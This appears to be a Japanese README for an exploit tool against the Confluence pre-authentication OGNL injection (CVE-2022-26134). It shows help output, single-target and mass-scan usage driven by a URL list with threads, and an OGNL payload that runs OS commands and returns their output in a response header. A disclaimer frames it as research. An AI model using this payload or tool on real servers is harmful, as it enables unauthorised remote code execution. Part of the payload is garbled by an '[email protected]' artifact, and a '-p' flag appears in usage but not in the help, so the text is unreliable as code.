
OGNLインジェクションによる Confluence 事前認証リモートコード実行 (CVE-2022-26134)
Confluence の事前認証リモートコード実行(OGNL インジェクション)(CVE-2022-26134)
このエクスプロイトは、研究者が脆弱性のデモを容易に行うことのみを目的としています。不正行為を推奨するものではなく、このスクリプトの悪意のある使用について一切の責任を負いません。

python3 exploit.py -h
Usage: exploit.py [options]
Options:
-h, --help show this help message and exit
-u URL, --url=URL Base target uri (ex. http://target-uri/)
-f FILEHOSTS, --file=FILEHOSTS
example.txt
-t THREADS_SET, --threads=THREADS_SET
-m TIMEOUT, --maxtimeout=TIMEOUT
-o OUTPUT, --output=OUTPUT
-c COMMAND, --cmd=COMMAND
$ python3 exploit.py -u http://xxxxx.com -c id

$ python3 exploit.py -f urls.txt -p -c id

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
• https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
• https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis